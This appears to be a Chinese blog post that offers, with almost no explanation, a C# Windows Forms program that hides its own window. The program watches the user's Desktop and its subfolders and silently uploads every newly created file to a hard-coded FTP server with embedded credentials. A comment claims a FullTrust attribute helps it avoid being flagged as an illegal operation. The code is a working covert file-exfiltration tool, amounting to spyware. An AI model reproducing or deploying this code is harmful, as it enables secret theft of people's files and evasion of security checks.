一个C#程序,原理自己研究吧^_^

using System;
using System.Windows.Forms;
using System.IO;

using System.Reflection;
using System.Security.Permissions;

namespace sync
{
    public partial class Form1 : Form
    {
        private static string hostIP = @"ftp://127.0.0.1";
        private static string port = "21";
        private static string userName = "test";
        private static string password = "test";

        //在程序之中加入下面的代码,能有效地避免程序被误认为是非法操作
        [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]        

        private static void WatcherStrat(string path, string filter)
        {
            if (!Directory.Exists(path)){
                //MessageBox.Show("找不到路径:" + path);
                Application.Exit();
                return;
            }
            FileSystemWatcher watcher = new FileSystemWatcher();
            watcher.IncludeSubdirectories = true;
            watcher.Path = path;
            watcher.Filter = filter;           
            watcher.Created += new FileSystemEventHandler(OnProcess);   
            watcher.EnableRaisingEvents = true;
        }

        private static void OnProcess(object source, FileSystemEventArgs e)
        {
            //只监视创建文件的情况
            if (e.ChangeType == WatcherChangeTypes.Created){
                OnCreated(source, e);
            }            
        }

        private static void OnCreated(object source, FileSystemEventArgs e)
        {
            string filePath = e.FullPath;
            //等待5秒钟,文件复制完毕
            System.Threading.Thread.Sleep(5 * 1000); //单位为毫秒            
            //判断路径是文件夹还是文件
            if (Directory.Exists(filePath)){
                //文件夹
                return;//暂时不做处理
            }
            else if (File.Exists(filePath)){
                //文件
                //MessageBox.Show(filePath);
                UploadFile(filePath);//将文件上传至FTP
            }
            else{
                return;//暂时不做处理
            }
        }

        //将文件上传至FTP
        private static void UploadFile(string filePath)
        {
            string remoteFile = "";
            string localFile = filePath;
            string localFileExt = Path.GetExtension(localFile);//扩展名
            remoteFile = DateTime.Now.ToString("yyyyMMdd_hhmmss") + localFileExt; 

            FTPOperation ftp = new FTPOperation(hostIP, port, userName, password);
            ftp.upload(remoteFile,localFile);
        }

        private void run()
        {
            string dir = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
            WatcherStrat(dir, "*.*");//监视所有文件            
        }

        public Form1()
        {
            InitializeComponent();
            this.StartPosition = FormStartPosition.CenterScreen;                        
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            run();
        }

        protected override void OnShown(EventArgs e)
        {
            base.OnShown(e);//隐藏程序 
            this.Visible = false;
        }

        private void button1_Click(object sender, EventArgs e)
        {
            this.Hide();//隐藏程序
        }        
    }
}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值